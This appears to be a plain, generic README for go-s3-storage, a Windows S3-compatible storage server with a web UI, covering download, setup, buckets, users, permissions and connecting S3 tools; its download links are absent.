go-s3-storage gives you a local S3-compatible storage server with a web UI. You can use it to store files, create buckets, manage users, and set permissions from one place.
It is useful if you want:
- A private S3-style storage server on Windows
- A simple web page for file and bucket management
- An S3 endpoint for tools that work with AWS S3
- A local setup for testing storage apps and scripts
You need:
- A Windows PC
- A web browser
- Internet access to download the app
- Permission to run downloaded files on your PC
For best results, use a recent version of Windows 10 or Windows 11.
Visit this page to download go-s3-storage:
On that page, look for the latest release and choose the Windows file. If there are several files, pick the one for Windows and skip source code files.
- Open the release page in your browser.
- Find the latest release near the top of the page.
- Download the Windows file.
- If the file comes in a .zip folder, open the folder after the download finishes.
- Move the app files to a place you can find later, such as your Desktop or a new folder in Documents.
- If Windows asks for permission, choose to allow the app to run.
If you downloaded a .zip file, you may need to extract it first:
- Right-click the .zip file.
- Select Extract All.
- Pick a folder.
- Open the extracted folder.
- Run the app file inside it.
When you open go-s3-storage for the first time, it will start the storage server and the web UI.
Do this:
- Double-click the app file.
- Wait a few seconds for it to start.
- Keep the window open while you use the storage server.
- Open your browser and go to the local address shown by the app.
The app may show a local web address such as:
Use the exact address shown in the app window.
The web UI gives you a simple place to manage storage.
You can usually do things like:
- Create and delete buckets
- Upload and remove objects
- View files in a bucket
- Create users
- Set access permissions
- Check storage status
To use it:
- Open the local web address in your browser.
- Sign in if the app asks for a user name and password.
- Choose the section you want to use.
- Click buttons to create buckets or upload files.
- Save your changes when asked.
Buckets are the main folders in S3-style storage.
Common bucket tasks:
- Create a bucket for a new project
- Rename a bucket if the app supports it
- Delete a bucket you no longer need
- Open a bucket to view its files
A simple way to stay organized is to use one bucket per app, team, or project.
Objects are the files you store in a bucket.
You can usually:
- Upload one file or many files
- Download files back to your PC
- Remove files you no longer need
- View file names, size, and date details
If you use the app for tests, keep file names short and clear.
go-s3-storage includes user and permission tools.
This helps you:
- Create separate accounts for different people or apps
- Give read-only access when needed
- Give upload access to trusted users
- Limit who can see or change a bucket
A simple setup is:
- One admin user for full control
- One read-only user for viewing files
- One app user for uploads and downloads
Because this is S3-compatible, other apps can connect to it using S3 settings.
You can use it with:
- Backup tools
- File upload tools
- Storage test apps
- Scripts that use S3 or AWS SDKs
- Tools like boto3
When you connect another app, you usually need:
- Endpoint address
- Access key
- Secret key
- Bucket name
- Region or similar setting
Use the values shown in the app.
A simple Windows setup looks like this:
- Download the Windows file from the release page.
- Extract it if needed.
- Run the app.
- Open the web UI in your browser.
- Create a bucket.
- Add a user if needed.
- Set permissions.
- Upload a test file.
Try these steps:
- Make sure the download finished.
- Check that you opened the correct Windows file.
- If the file is inside a zip folder, extract it first.
- Right-click the app and choose Run as administrator if your PC blocks it.
- Check whether your antivirus blocked the file.
- Make sure another app is not using the same port.
- Close the app and open it again.
If the browser does not show the web UI:
- Look at the app window for the local address.
- Copy the address exactly.
- Paste it into your browser.
- Check that the app is still running.
You may see files like these after download:
- The main app file
- A config file
- A data folder
- A readme file
- A license file
Keep all related files in the same folder unless the release page gives different steps.
Here are a few terms you may see in the app:
- Bucket: a top-level storage container
- Object: a file in a bucket
- Endpoint: the web address other tools use to connect
- Access key: a login name for apps
- Secret key: a password for apps
- Permission: what a user can do
- Read-only: can view files but not change them
A simple use case looks like this:
- Start the app on your Windows PC.
- Open the web UI.
- Create a bucket named
backups. - Upload a few files.
- Create a user for another app.
- Give that user access to the bucket.
- Connect your backup tool to the local S3 endpoint.
To make storage easier to manage:
- Use short bucket names
- Use clear file names
- Separate test data from real data
- Give each user only the access they need
- Remove old files you no longer use
Visit this page to download go-s3-storage: